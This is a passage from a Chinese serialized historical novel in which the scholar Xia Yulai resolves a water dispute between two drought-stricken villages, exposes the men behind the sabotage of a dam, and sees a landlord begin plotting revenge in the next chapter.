夏雨来皱了皱眉头,大声说道:“大家安静!我知道你们都有道理,可争吵解决不了问题!这样吧,我先去两村看看,了解一下实际情况,然后再给大家一个公平公正的解决方案!” 他转头对孙老实说:“孙老实,你留在这里,看着两村的人,别让他们再打起来!我去河东村和河西村看看!” 孙老实连忙点头:“好!夏秀才,您放心去吧!有我在,保证他们不会再闹事!” 夏雨来骑着毛驴,先去了河东村。村里的稻田果然一片枯黄,秧苗都蔫巴巴地耷拉着,土壤干裂得能看到深深的裂缝。村民们看到夏雨来,都围了上来,七嘴八舌地诉说着自己的难处。 “夏秀才,您快想想办法吧!再不下雨,再没有水,我们今年就颗粒无收了!” “我们一家人,就靠这几亩稻田过日子,要是收不上粮食,我们就得饿死了!” “夏秀才,您可一定要为我们做主啊!不能让河西村的人把水抢走!” 夏雨来一边听着,一边点头,心里暗暗想道:河东村的情况确实严重,稻田大面积缺水,村民们的情绪也很激动。如果不能解决他们的用水问题,两村的矛盾还会继续激化。 接着,他又去了河西村。河西村的情况比河东村好不了多少,稻田同样干裂,村口的几口井,水位已经降到了最低点,村民们正排着长队,用木桶一点点地舀水。看到夏雨来,村民们也纷纷围了上来,诉说着自己的困境。 “夏秀才,我们已经快没水喝了!您快让河东村的人把土坝拆了吧!” “我们的鱼虾都死光了,稻田也快枯死了,再这样下去,我们真的活不下去了!” “夏秀才,您是个公正的人,可不能偏袒河东村啊!” 夏雨来看着村民们渴望的眼神,心里更加坚定了要解决好这件事的决心。他知道,这件事不仅关系到两村的生计,还关系到两村的和睦,如果处理不好,很可能会引发更大的冲突。 回到土坝上,夏雨来看着周德发和李德山,说道:“两位村老,我已经看过了,两村的情况都很严重,都需要水!所以,独占河水是绝对不行的!轮流用水,才是唯一的解决办法!” 周德发连忙说道:“夏秀才,轮流用水可以,但时间得长一点!我们的稻田多,需要的水也多!” 李德山说道:“不行!轮流用水的时间必须一样!大家都是平等的,不能因为你们稻田多,就多用水!” “我们稻田多,付出的辛苦也多,多用水也是应该的!” “凭什么?大家都是靠天吃饭,凭什么你们就特殊?” 两人又争论起来,互不相让。 夏雨来笑道:“两位村老,你们别争了!我有一个办法,既能让两村都用上水,又能保证公平公正!” 周德发和李德山异口同声地问道:“什么办法?” 夏雨来说道:“我们可以按照稻田的亩数,来分配用水时间!河东村的稻田多,就多分配一点用水时间;河西村的稻田少,就少分配一点用水时间!这样一来,既公平公正,又能保证两村的稻田都能浇上水!” 周德发心里盘算着:河东村的稻田确实比河西村多,如果按照亩数分配用水时间,河东村肯定能多用水,这样一来,稻田就有救了!他连忙说道:“好!夏秀才,这个办法好!我同意!” 李德山心里也打着小算盘:河西村的稻田虽然少,但按照亩数分配用水时间,也能保证基本的用水需求,总比现在一滴水都用不上好!他也点了点头:“好!我也同意!” 两村的村民们见状,也纷纷表示同意。 夏雨来见大家达成了一致,心里很高兴,说道:“既然大家都同意,那我们现在就去丈量两村的稻田亩数,然后分配用水时间!” 就在这时,河东村的王虎突然说道:“夏秀才,不行啊!丈量稻田亩数需要时间,可我们的稻田已经等不及了!能不能先给我们河东村浇几天水,再丈量亩数?” 河西村的李铁牛立刻反驳道:“不行!谁知道你们会不会耍赖?必须先丈量亩数,再分配用水时间!” “我们河东村向来说话算话,怎么会耍赖?” “谁信你们?上次你们就出尔反尔了!” 两人又吵了起来,村民们也纷纷附和,刚刚平息的矛盾,又有了激化的迹象。 周德发心里也有些着急,他对夏雨来说:“夏秀才,王虎说得对!我们的稻田确实等不及了!能不能先让我们浇几天水?我们保证,等丈量完亩数,一定按照分配的时间用水!” 李德山连忙说道:“夏秀才,不能答应他们!他们肯定会耍赖的!” 夏雨来皱了皱眉头,他知道,王虎的提议确实有道理,稻田不能再等了,但李德山的担心也不是没有根据,万一河东村耍赖,河西村肯定不会善罢甘休,矛盾还会继续。 他沉思片刻,嘴角勾起一抹狡黠的笑容:“两位村老,我有一个主意,既能让河东村先浇上水,又能让河西村放心!” 周德发和李德山连忙问道:“什么主意?” 夏雨来说道:“我们可以签订一份契约!河东村先浇三天水,三天后,我们再丈量两村的稻田亩数,按照亩数分配用水时间!如果河东村耍赖,不按照契约执行,就由官府出面,没收河东村今年的全部粮食,分给河西村作为补偿!如果河西村无理取闹,干扰河东村浇水,也同样受到惩罚!” 周德发心里一慌,他知道,官府的惩罚可不是闹着玩的!如果真的没收了全部粮食,河东村的村民们就真的没活路了!他连忙说道:“夏秀才,我们河东村不会耍赖的!不用签订契约!” 夏雨来笑道:“周村老,口说无凭!签订契约,也是为了让两村都放心!这样一来,大家都有个约束,就不会再互相猜忌了!” 李德山点点头:“夏秀才说得对!签订契约好!这样我们河西村也放心了!” 周德发见李德山同意了,也不好再反对,只能点头答应:“好!那就签订契约!” 夏雨来让孙老实拿出笔墨纸砚,当场写了一份契约,明确了两村的权利和义务,还有违约的惩罚措施。周德发和李德山分别代表两村,在契约上签了字、按了手印。 契约签订后,河东村的村民们终于放心地去浇水了,河西村的村民们也没有再阻拦。看着河里的水缓缓流进河东村的稻田,周德发心里松了一口气,他暗暗发誓,一定要遵守契约,不能让村民们失望。 李德山看着契约,心里也踏实了不少。他知道,夏雨来是个言出必行的人,有他在,河东村不敢耍赖。他对村民们说:“大家都回去吧!等三天后,我们就按照契约分配用水时间,到时候我们也能浇上水了!” 村民们纷纷点头,各自回家了。一场一触即发的械斗,就这样暂时平息了下来。 二、暗探端倪,风波再起 三天的时间很快就过去了。这天清晨,夏雨来早早地就来到了清水河的土坝上,周德发和李德山也带着两村的村民们赶来,准备丈量稻田亩数,分配用水时间。 夏雨来让孙老实找来几个有经验的老农,拿着丈量工具,分别去河东村和河西村丈量稻田亩数。村民们都围在一旁,紧张地看着,心里暗暗祈祷着自己村的稻田亩数能多一点,能分配到更多的用水时间。 周德发心里有些忐忑:他知道,河东村的稻田亩数确实比河西村多,但他担心,老农们会偏袒河西村,故意少算河东村的亩数。他不停地在老农们身边转悠,时不时地叮嘱道:“你们可得好好丈量,不能出错!这关系到我们两村的用水,可不能马虎!” 李德山心里也有些不安:他担心,河东村会弄虚作假,多报稻田亩数,抢占更多的用水时间。他也跟着老农们,仔细地看着他们丈量,生怕出现什么差错。 夏雨来则坐在土坝上的一棵大树下,摇着折扇,喝着阿翠特意给他带来的凉茶,一副胸有成竹的样子。他知道,这几个老农都是附近有名的老实人,不会偏袒任何一方,一定会公平公正地丈量。 没过多久,老农们就丈量完了,拿着记录亩数的纸条,来到了夏雨来面前。 “夏秀才,丈量好了!河东村的稻田亩数是三百二十亩,河西村的稻田亩数是二百八十亩!” 一个老农说道。 周德发一听,心里松了一口气:三百二十亩,比河西村多了四十亩,这样一来,河东村就能分配到更多的用水时间了!他连忙说道:“夏秀才,你看!我们河东村的稻田亩数确实比河西村多,应该多分配一些用水时间!” 李德山心里虽然有些失落,但也不得不承认这个结果:“夏秀才,既然亩数已经丈量好了,那就按照亩数分配用水时间吧!” 夏雨来点点头,接过纸条看了看,笑道:“好!既然稻田亩数已经确定,那我们就按照一比一的比例,分配用水时间!河东村三百二十亩,河西村二百八十亩,总共六百亩!一天十二个时辰,河东村可以用水六点四个时辰,河西村可以用水五点六个时辰!为了方便计算,我们就取整数,河东村用水六个时辰,河西村用水六个时辰!怎么样?” 周德发一听,顿时不乐意了:“夏秀才,这不行啊!我们河东村的稻田亩数比河西村多四十亩,怎么能分配一样的用水时间呢?这太不公平了!” 李德山连忙说道:“夏秀才说得对!虽然河东村的稻田亩数多,但相差也不是很大,分配一样的用水时间,既公平又方便!我们河西村同意!” “我不同意!” 周德发大声说道,“我们多四十亩稻田,就应该多分配一些用水时间!不然,我们的稻田还是浇不过来!” “周德发,你别太贪心了!” 河西村的李铁牛说道,“六个时辰已经不少了,足够你们浇地了!我们河西村的稻田虽然少,但也需要水啊!” “我贪心?” 周德发怒视着李铁牛,“如果不是我们河东村修了土坝,保住了一点水,你们河西村连一滴水都用不上!现在让你们和我们分配一样的用水时间,已经是便宜你们了!” “你胡说!” 李铁牛反驳道,“清水河是两村共有的,不是你们河东村一家的!我们分配一样的用水时间,是理所当然的!” 两人又争论起来,两村的村民们也纷纷加入,土坝上再次吵成了一团。 夏雨来皱了皱眉头,心里有些不悦:他本来以为,丈量完亩数,分配好用水时间,这件事就能顺利解决了,没想到周德发竟然这么贪心,不愿意接受分配方案。 他站起身,大声说道:“大家安静!我知道河东村的稻田亩数多,应该多分配一些用水时间!但你们有没有想过,河西村不仅需要用水浇地,还需要用水作为生活用水!他们的鱼虾已经死光了,生活用水也很困难,如果分配的用水时间太少,他们的生活都会成问题!” 周德发说道:“夏秀才,我们河东村也需要生活用水啊!我们的村民也需要喝水、做饭、洗衣!” 夏雨来说道:“我知道!所以我才决定,让两村各分配六个时辰的用水时间!这样一来,既能保证两村的稻田都能浇上水,又能保证两村的生活用水!这是最公平、最合理的方案!” 李德山连忙说道:“夏秀才说得对!我们河西村同意这个方案!” 周德发心里还是有些不甘心,但看着夏雨来坚定的眼神,又看了看周围村民们期待的目光,他知道,再争论下去也没有用,只能点头答应:“好!既然夏秀才都这么说了,我们河东村也同意!” 夏雨来心里松了一口气,说道:“好!既然两村都同意,那我们就按照这个方案执行!从今天开始,河东村每天辰时到申时用水,河西村每天酉时到卯时用水!大家都要严格遵守,不能擅自更改用水时间,更不能偷偷抢占河水!如果发现有人违反,就按照契约上的规定,没收今年的全部粮食,分给对方村作为补偿!” 两村的村民们纷纷点头:“我们知道了!我们一定遵守!” 就在这时,河东村的一个村民突然说道:“夏秀才,不好了!我们村的土坝,好像被人破坏了!” 众人循声望去,只见土坝的一侧,有一个缺口,河水正从缺口里源源不断地流向下游。 周德发一看,顿时怒不可遏:“是谁?是谁破坏了我们的土坝?” 他转头怒视着河西村的人:“是不是你们干的?你们是不是不甘心,故意破坏我们的土坝,想要抢占河水?” 李德山连忙说道:“周德发,你别血口喷人!我们河西村已经同意了分配方案,怎么会故意破坏你们的土坝?肯定是你们自己不小心,把土坝弄塌了!” “不可能!我们的土坝修得很结实,怎么会突然塌了?肯定是你们干的!” 周德发一口咬定是河西村的人干的。 “我们没有!” 河西村的村民们纷纷说道。 “就是你们!” 河东村的村民们也不甘示弱。 两村的村民们再次剑拔弩张,争吵声、骂声又响了起来,刚刚平息的矛盾,再次激化。 夏雨来心里一沉,知道事情并没有那么简单。他走到土坝的缺口处,仔细查看了一番。缺口的边缘很整齐,不像是自然坍塌的,倒像是被人用工具挖开的。他心里暗暗想道:是谁这么大胆,竟然敢破坏土坝?难道是有人不想让两村和平共处,故意挑拨离间? 他转头对两村的村民们说道:“大家安静!现在不是争吵的时候!土坝被破坏了,我们首先要做的,是把缺口补上,保住河里的水!至于是谁破坏的,我们之后再调查!” 周德发说道:“夏秀才,不行!我们必须先查清楚是谁干的!不然,以后还会有人破坏土坝!” 李德山也说道:“夏秀才,周德发说得对!必须查清楚,还我们河西村一个清白!” 夏雨来笑道:“两位村老,我知道你们都想查清楚!但现在最重要的是保住河水!如果缺口不补上,河里的水很快就会流干,到时候,两村都没有水用!等我们把缺口补上,再慢慢调查,一定能查个水落石出!” 周德发和李德山想了想,觉得夏雨来说得有道理,于是说道:“好!我们先把缺口补上!” 两村的村民们纷纷行动起来,有的扛着锄头,有的拿着铁锹,有的提着篮子,从附近取来泥土、石头,开始修补土坝的缺口。虽然两村之前有矛盾,但在共同的利益面前,大家都放下了恩怨,齐心协力地修补着土坝。 夏雨来也加入了修补土坝的行列,他一边干活,一边观察着周围的村民们。他发现,河东村的王虎和河西村的一个年轻人,眼神有些闪烁,干活的时候心不在焉,时不时地互相使眼色。夏雨来心里暗暗起了疑心:难道是他们两个人干的? 土坝的缺口很快就补上了。夏雨来擦了擦脸上的汗水,说道:“好了!土坝已经补上了!现在,我们开始调查是谁破坏了土坝!” 他转头对王虎和那个河西村的年轻人说道:“王虎,还有你,你叫什么名字?” 那个年轻人连忙说道:“夏秀才,我叫李小二!” 夏雨来说道:“王虎,李小二,我刚才看到你们两个人,眼神有些闪烁,干活的时候心不在焉,是不是你们两个人破坏了土坝?” 王虎心里一慌,连忙说道:“夏秀才,您冤枉我了!我没有破坏土坝!我怎么会做这种事呢?” 李小二也连忙说道:“夏秀才,我也没有!您一定是看错了!” 夏雨来笑道:“是吗?那我问你们,刚才土坝被破坏的时候,你们在哪里?在做什么?” 王虎说道:“我刚才一直在村里的稻田里浇水,根本没有来过土坝!” 李小二说道:“我刚才在家里帮我娘做饭,也没有来过土坝!” 夏雨来看着他们,心里暗暗想道:这两个人肯定在撒谎!土坝被破坏的时候,他明明看到他们两个人在土坝附近徘徊!看来,这件事一定和他们有关! 他转头对孙老实说:“孙老实,你去河东村和河西村,问问村民们,刚才王虎和李小二到底在哪里,在做什么!” 孙老实连忙点头:“好!夏秀才,我这就去!” 孙老实很快就回来了,他对夏雨来说道:“夏秀才,我问过了!河东村的村民们说,刚才王虎根本没有在稻田里浇水,而是偷偷离开了村子,不知道去了哪里!河西村的村民们说,李小二也没有在家里做饭,而是很早就出门了!” 王虎和李小二一听,脸色顿时变得惨白。 夏雨来看着他们,冷笑道:“现在,你们还有什么话好说?你们两个人,根本就是在撒谎!快说!是不是你们破坏了土坝?为什么要这么做?” 王虎和李小二对视了一眼,知道再也瞒不下去了,只能低下头,承认道:“夏秀才,我们错了!是我们破坏了土坝!” 周德发一听,顿时怒不可遏:“王虎!你这个畜生!我们河东村好不容易才保住了一点水,你竟然敢破坏土坝!你是不是想害死我们全村人?” 李德山也说道:“李小二!你这个叛徒!我们河西村已经同意了分配方案,你为什么还要破坏土坝?你到底想干什么?” 王虎连忙说道:“村老,我不是故意的!我只是觉得,河西村分配到的用水时间太多了,我们河东村的稻田浇不过来,所以才想破坏土坝,让河水多流一点到我们村的稻田里!” 李小二也说道:“村老,我也不是故意的!我是觉得,河东村的稻田亩数虽然多,但他们已经先浇了三天水,现在又分配到了六个时辰的用水时间,太不公平了!所以我才想破坏土坝,让河水多流一点到我们村!” 夏雨来看着他们,心里暗暗想道:原来如此!这两个人都是因为贪心,想要抢占更多的河水,才故意破坏土坝!看来,两村的矛盾,不仅仅是因为用水,还因为村民们的贪心和自私! 他对王虎和李小二说道:“你们两个人,真是太糊涂了!两村已经达成了协议,分配好了用水时间,你们竟然因为贪心,故意破坏土坝,挑拨两村的矛盾!如果不是及时发现,两村很可能会再次发生械斗,到时候,只会两败俱伤!” 王虎和李小二低着头,说道:“夏秀才,我们知道错了!我们以后再也不敢了!” 周德发说道:“夏秀才,这两个人太可恶了!必须严惩!” 李德山也说道:“夏秀才,不能轻饶了他们!不然,以后还会有人敢破坏土坝!” 夏雨来想了想,说道:“好!为了让大家引以为戒,我决定,对王虎和李小二进行惩罚!王虎,你负责修补土坝,并且在接下来的一个月里,每天负责看守土坝,防止有人再次破坏!李小二,你也负责修补土坝,并且在接下来的一个月里,每天负责给两村的村民们送水!你们有没有意见?” 王虎和李小二连忙说道:“我们没有意见!我们愿意接受惩罚!” 夏雨来点点头:“好!既然你们愿意接受惩罚,那这件事就到此为止!希望你们以后能吸取教训,不要再犯这样的错误!” 他转头对两村的村民们说道:“各位乡亲,这件事已经调查清楚了,是王虎和李小二因为贪心,故意破坏了土坝!现在,他们已经接受了惩罚!我希望大家以后都能遵守协议,不要再因为贪心和自私,破坏两村的和睦!只有两村团结一心,互相帮助,才能共同度过这次旱情!” 两村的村民们纷纷点头:“我们知道了!我们以后一定会遵守协议,团结一心!” 就在这时,一个村民突然大喊:“快看!下雨了!下雨了!” 众人循声望去,只见天空中乌云密布,豆大的雨点落了下来,打在脸上凉丝丝的。 “真的下雨了!太好了!终于下雨了!” “老天爷开恩了!我们的稻田有救了!” “我们有救了!” 村民们欣喜若狂,纷纷欢呼起来,有的甚至跑到雨中,仰着头,感受着雨水的滋润。 周德发和李德山看着下雨的天空,心里百感交集。他们知道,这场雨,不仅救了两村的稻田,也化解了两村的矛盾。 夏雨来看着雨中欢呼的村民们,脸上露出了欣慰的笑容。他知道,这场雨是老天爷的恩赐,但两村的和睦,还需要靠大家的努力和包容。 三、智破阴谋,恩怨化解 雨越下越大,清水河的水位渐渐上涨,干裂的河床被雨水滋润着,枯黄的秧苗也重新焕发出了生机。两村的村民们纷纷回到家里,收拾着被雨水打湿的东西,脸上洋溢着幸福的笑容。 周德发和李德山也来到了夏雨来的身边,脸上带着感激的笑容。 周德发说道:“夏秀才,真是太感谢您了!如果不是您,我们两村还不知道要闹到什么时候!这场雨,也是您带来的福气啊!” 李德山也说道:“夏秀才,您真是我们两村的救星!您不仅解决了我们的用水问题,还化解了两村的恩怨!我们真的不知道该怎么感谢您!” 夏雨来笑道:“两位村老,不用谢我 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夏雨来高兴地说道:“好!既然大家都同意,那我们现在就举行一个简单的结盟仪式!” 他让孙老实找来一块红布,铺在土坝上的一张桌子上,然后让周德发和李德山分别代表两村,在红布上签下了自己的名字。 周德发拿起笔,郑重地写下了 “河东村” 三个字,然后说道:“从今天起,河东村和河西村,结成友好村!以后,我们互相帮助,互相支持,有福同享,有难同当!” 李德山也拿起笔,写下了 “河西村” 三个字,说道:“从今天起,河西村和河东村,结成友好村!以后,我们互相包容,互相理解,共同发展,共创美好未来!” 两村的村民们纷纷鼓掌叫好,掌声回荡在清水河的上空,久久不息。 就在这时,夏雨来突然说道:“两位村老,还有一件事,我想跟你们说一下!” 周德发和李德山连忙说道:“夏秀才,您请说!” 夏雨来说道:“其实,这次土坝被破坏,不仅仅是王虎和李小二的贪心造成的,背后还有人在挑拨离间!” 周德发和李德山一听,顿时愣住了:“夏秀才,您这话是什么意思?难道还有别人在背后搞鬼?” 夏雨来点点头:“没错!我在调查土坝被破坏的事情时,发现王虎和李小二虽然贪心,但他们并没有那么大的胆子,敢公然破坏土坝,挑拨两村的矛盾!他们背后,一定有人在指使他们!” 周德发连忙说道:“夏秀才,您知道是谁在背后指使他们吗?我们一定要查出来,严惩不贷!” 李德山也说道:“夏秀才,您快说!是谁这么可恶,竟然想破坏我们两村的和睦!” 夏雨来笑道:“两位村老,你们别着急!我已经知道是谁在背后指使他们了!” 他转头对孙老实说:“孙老实,把人带上来!” 孙老实点点头,很快就带着两个人走了过来。这两个人,一个是河东村的村民,名叫周小三;另一个是河西村的村民,名叫李老四。 周德发和李德山一看,顿时愣住了:“周小三?李老四?怎么是你们?” 周小三和李老四低着头,不敢说话。 夏雨来看着他们,冷笑道:“周小三,李老四,你们两个人,好大的胆子!竟然敢指使王虎和李小二破坏土坝,挑拨两村的矛盾!你们为什么要这么做?” 周小三连忙说道:“夏秀才,我没有!我没有指使他们!” 李老四也说道:“夏秀才,您冤枉我们了!我们根本不知道这件事!” 夏雨来笑道:“是吗?那我问你们,王虎和李小二破坏土坝之前,是不是和你们见过面?你们是不是给了他们钱,让他们去破坏土坝?” 周小三和李老四一听,脸色顿时变得惨白。他们没想到,夏雨来竟然什么都知道了! 原来,夏雨来在调查王虎和李小二的时候,就觉得事情不对劲。王虎和李小二都是老实巴交的农民,平时胆子很小,根本不敢做这种事。于是,他就暗中跟踪他们,发现他们和周小三、李老四秘密见面,并且从周小三和李老四那里拿了一些银子。夏雨来立刻就明白了,这件事的背后,一定是周小三和李老四在指使。 夏雨来对王虎和李小二说道:“王虎,李小二,你们现在可以说了!是不是周小三和李老四指使你们破坏土坝的?他们为什么要让你们这么做?” 王虎和李小二看了看周小三和李老四,又看了看夏雨来,终于鼓起勇气说道:“夏秀才,是他们指使我们的!他们说,只要我们破坏了土坝,两村就会发生械斗,到时候,他们就能趁机霸占我们两村的稻田和财产!他们还说,事成之后,给我们每人五十两银子!” 周德发和李德山一听,顿时怒不可遏:“周小三!李老四!你们这两个畜生!我们两村待你们不薄,你们竟然想霸占我们的稻田和财产!你们简直是丧尽天良!” 周小三和李老四连忙说道:“村老,我们错了!我们一时糊涂,才做出了这种事!求你们饶了我们吧!” 夏雨来看着他们,说道:“周小三,李老四,你们两个人,为了一己私欲,竟然想破坏两村的和睦,霸占两村的财产!这种行为,简直是天理难容!按照契约上的规定,应该没收你们的全部财产,分给两村的村民们作为补偿!并且,把你们送到官府,依法处置!” 周小三和李老四一听,顿时吓得魂飞魄散:“夏秀才,求您饶了我们吧!我们再也不敢了!” 周德发说道:“夏秀才,不能饶了他们!必须严惩!” 李德山也说道:“夏秀才,您说得对!这种人,就应该送到官府,依法处置!” 夏雨来想了想,说道:“好吧!既然你们这么执迷不悟,那就别怪我不客气了!孙老实,把他们两个人绑起来,送到县衙,交给知府大人处置!” 孙老实连忙点头,拿出绳子,把周小三和李老四绑了起来。 周小三和李老四一边挣扎,一边哭喊着:“求你们饶了我们吧!我们错了!” 可没有人理会他们,孙老实带着他们,朝着县衙的方向走去。 看着他们远去的背影,周德发和李德山心里松了一口气。他们知道,这次多亏了夏雨来,不仅化解了两村的矛盾,还揪出了背后的黑手,保住了两村的财产和和睦。 雨渐渐停了,天空放晴,一道美丽的彩虹挂在天空中。清水河的水位已经上涨了不少,河水清澈见底,缓缓地流淌着,滋润着两岸的稻田和土地。 周德发和李德山握着夏雨来的手,感激地说道:“夏秀才,真是太感谢您了!如果不是您,我们两村不知道还要遭受多大的损失!您真是我们两村的大恩人!” 夏雨来笑道:“两位村老,不用谢我!这都是我应该做的!只要两村能够和睦相处,共同发展,我就放心了!” 他转头对两村的村民们说道:“各位乡亲,雨已经停了,彩虹也出来了!这是一个好兆头!希望大家以后能够珍惜两村的和睦,互相帮助,互相支持,共同创造美好的生活!” 村民们纷纷点头:“我们知道了!我们一定会珍惜两村的和睦,互相帮助,互相支持!” 这时,阿翠端着一碗温热的姜汤走了过来,递给夏雨来:“夏秀才,喝点姜汤暖暖身子吧!刚才下雨,您肯定淋到雨了,别着凉了!” 夏雨来接过姜汤,喝了一口,心里暖暖的。他看着眼前的村民们,看着清澈的清水河,看着美丽的彩虹,心里暗暗想道:这就是他想要的生活,百姓安居乐业,邻里和睦相处,没有矛盾,没有争斗,只有幸福和安宁。 周德发对李德山说道:“李老弟,我们两村已经结成了友好村,不如我们今天就在一起吃一顿饭,庆祝一下?” 李德山连忙点头:“好!好!我这就让人去准备!” 两村的村民们纷纷响应,有的去杀鸡,有的去捕鱼,有的去采摘蔬菜,大家忙得不亦乐乎。 土坝上,很快就摆满了各种各样的饭菜,有香喷喷的鸡肉,有鲜美的鱼虾,有绿油油的蔬菜,还有香甜的米酒。两村的村民们围坐在一起,一边吃着饭,一边聊着天,脸上洋溢着幸福的笑容。 周德发端着一碗米酒,走到夏雨来面前,说道:“夏秀才,我敬您一碗!感谢您为我们两村做的一切!” 夏雨来接过米酒,笑道:“周村老,不用客气!我们一起喝!” 两人一饮而尽。 李德山也端着一碗米酒,走到夏雨来面前,说道:“夏秀才,我也敬您一碗!祝您身体健康,万事如意!” 夏雨来接过米酒,说道:“李村老,谢谢!我们一起喝!” 两人也一饮而尽。 村民们纷纷端着米酒,走到夏雨来面前,向他敬酒。夏雨来一一接过,喝了下去。虽然米酒的度数不高,但喝多了也有些头晕。 他看着眼前热闹的场景,看着村民们幸福的笑容,心里充满了成就感。他知道,他的努力没有白费,他用自己的智慧和勇气,化解了两村的恩怨,为百姓们带来了和平和安宁。 夕阳西下,晚霞染红了天空。两村的村民们依依不舍地告别,约定以后要经常来往,互相帮助,互相支持。 夏雨来骑着毛驴,在孙老实的陪伴下,缓缓地离开了清水河。他回头看了看身后的河东村和河西村,看了看清澈的清水河,脸上露出了欣慰的笑容。 他知道,这次的河道纠纷,虽然解决了,但他的责任还没有结束。在潮州城,还有很多百姓需要他的帮助,还有很多矛盾需要他去化解。他会继续用自己的智慧和勇气,为百姓们做主,守护潮州城的安宁和公道。 四、市井余韵,和睦长存 回到潮州城的东门街,夏雨来刚走进小院,就看到张老爹和几个街坊在院子里等着他。 张老爹连忙迎了上来,说道:“夏秀才,您可回来了!我们听说您去西北乡解决两村的河道纠纷了,怎么样?解决好了吗?” 夏雨来笑道:“解决好了!两村已经结成了友好村,以后会和睦相处,互相帮助!” 张老爹和街坊们一听,都高兴地说道:“太好了!夏秀才,您真是太厉害了!又为百姓们做了一件大好事!” 阿翠端来一碗凉茶,递给夏雨来:“夏秀才,您辛苦了!快喝点凉茶,解解渴!” 夏雨来接过凉茶,喝了一口,说道:“不辛苦!能为百姓们做事,我心里高兴!” 他把西北乡两村争水、械斗,以及他如何化解矛盾、揪出背后黑手的事情,详细地告诉了张老爹和街坊们。 张老爹听完,说道:“夏秀才,您真是太聪明了!竟然能想到用签订契约的方式,解决两村的用水问题!还能揪出背后的黑手,真是太了不起了!” 孙老实也说道:“夏秀才,您不知道,当时两村械斗的场景,真是太吓人了!如果不是您及时赶到,不知道会有多少人受伤!” 夏雨来笑道:“其实,我也没做什么!主要是两村的村民们,心里都还是善良的,只是被贪心和自私蒙蔽了双眼!只要有人好好引导,他们就能明白道理,和睦相处!” 街坊们纷纷说道:“夏秀才说得对!现在的人,就是太贪心了!如果大家都能多一份包容,多一份理解,就不会有那么多矛盾了!” “夏秀才,您真是我们百姓的保护神!有您在,我们就不用担心被人欺负了!” “夏秀才,您的名声越来越大了!现在,不仅潮州城的百姓们知道您,周边县镇的百姓们也都听说了您的事迹,都纷纷称赞您是‘为民做主的好秀才’!” 夏雨来笑着说道:“大家不用这么夸我!我只是做了我该做的事情!惩治恶人,保护百姓,是每个读书人的本分!” 正在这时,知府大人派人送来一封信。夏雨来打开一看,原来是知府大人对他解决西北乡河道纠纷的事情,表示赞赏和感谢,还说要上报朝廷,为他请功。 夏雨来看完信,笑了笑,把信放在了桌子上。他对张老爹和街坊们说道:“知府大人要为我请功,但我觉得,这不是我一个人的功劳!这是两村村民们共同努力的结果,也是大家支持和帮助的结果!” 张老爹说道:“夏秀才,您太谦虚了!如果不是您,两村的纠纷根本解决不了!知府大人为您请功,是您应得的!” 夏雨来笑道:“不管怎么样,我都会继续为百姓们做事,不会辜负大家的期望!” 日子一天天过去,河东村和河西村的关系越来越和睦。两村的村民们经常互相来往,互相帮助。河东村的稻田丰收了,会送给河西村一些粮食;河西村的鱼虾丰收了,会送给河东村一些鱼虾。遇到困难时,两村的村民们也会互相支持,共同应对。 清水河的水,也变得越来越充沛。两村的村民们,再也不用担心缺水的问题了。他们在河边种上了柳树,养上了鱼虾,清水河变成了一条美丽的风景线。 潮州城的百姓们,听说了河东村和河西村的事情后,都纷纷称赞夏雨来的智慧和勇气。他们都说,夏雨来不仅化解了两村的恩怨,还为潮州城的百姓们树立了一个榜样,让大家明白了和睦相处、互相帮助的重要性。 这一天,夏雨来正在小院里看书,阿翠突然跑了进来,笑着说道:“夏秀才,外面来了一群人,说是河东村和河西村的村民们,特意来感谢您的!他们还带来了很多礼物呢!” 夏雨来放下书,走出小院,只见小院门前站满了人,都是河东村和河西村的村民们。他们手里拿着各种各样的礼物,有粮食、布匹、鱼虾、水果等。 周德发和李德山走上前,拱了拱手,说道:“夏秀才,我们代表河东村和河西村的全体村民,来感谢您!如果不是您,我们两村不会有今天的和睦生活!这些礼物,是我们的一点心意,请您一定要收下!” 夏雨来连忙说道:“各位乡亲,你们太客气了!我只是做了我该做的事情,怎么能收你们的礼物呢?” “夏秀才,您就收下吧!这是我们的一片心意!” 村民们纷纷说道。 夏雨来推辞不过,只能收下了礼物。他心里非常感动,他知道,这些礼物代表着村民们对他的信任和爱戴,这是他最大的财富。 他对着村民们拱手道:“诸位乡亲,多谢大家的厚爱!我一定会继续为百姓们做主,守护潮州城的安宁与公道!也希望河东村和河西村的村民们,能够永远和睦相处,互相帮助,共同创造美好的生活!” 村民们纷纷鼓掌叫好,掌声回荡在东门街的上空,久久不息。 阳光洒在夏雨来的身上,他的身影显得格外高大。他知道,只要百姓们需要他,他就会一直留在潮州城,用他的智慧和勇气,为百姓们撑起一片公道的天空,让潮州城永远太平,永远安宁,让和睦之花,永远绽放在这片土地上。 34. 老财反扑 一、老财含恨,毒计初酿 潮州城西门外的陈府,青砖黛瓦,高墙深院,在午后的日头下透着一股生人勿近的寒气。正厅里,陈老财陈万山坐在太师椅上,手里捏着一串油光锃亮的翡翠佛珠,指节却因用力而泛白。他那张保养得宜的胖脸此刻拧成了疙瘩,小眼睛里闪烁着怨毒的光,嘴里念念有词:“夏雨来…… 好一个为民做主的夏秀才!搅了我的好事,坏了我的算盘,这笔账,老夫定要跟你算清楚!” 旁边站着的管家陈福,躬着腰,脸上堆着谄媚的笑,手里捧着一碗刚沏好的龙井,小心翼翼地说道:“老爷,您消消气!那夏雨来不过是个穷酸秀才,仗着知府大人赏识,才敢在潮州城耀武扬威。您大人有大量,犯不着跟他一般见识!” “一般见识?” 陈老财猛地一拍八仙桌,桌上的茶杯盖 “哐当” 一声跳了起来,“你懂个屁!那清水河两岸的田地,老夫盯了多少年了?若不是夏雨来横插一杠,河东河西两村斗得两败俱伤,那些良田早就成了我的囊中之物!现在倒好,两村结成什么狗屁友好村,齐心协力种地,我连半点便宜都占不到!” 陈老财越说越气,胸口剧烈起伏着。他想起三个月前,自己得知清水河旱情时的窃喜 —— 他早就串通了周小三和李老四,让他们挑拨两村械斗,等两村元气大伤,他再趁机低价收购田地。可万万没想到,夏雨来竟然半路杀出,不仅化解了矛盾,还揪出了周小三和李老四,断了他的财路。更让他憋屈的是,夏雨来因此名声大噪,成了潮州城百姓口中的 “再生父母”,而他陈万山,却成了背地里被人戳脊梁骨的小人。 “老爷,依小的看,那夏雨来确实有些小聪明,又会笼络人心,硬来怕是不行。” 陈福凑上前,压低声音说道,“不如…… 我们想个计策,让他身败名裂,再也不能在潮州城立足!” 陈老财眼睛一亮,盯着陈福:“哦?你有什么好主意?快说!” 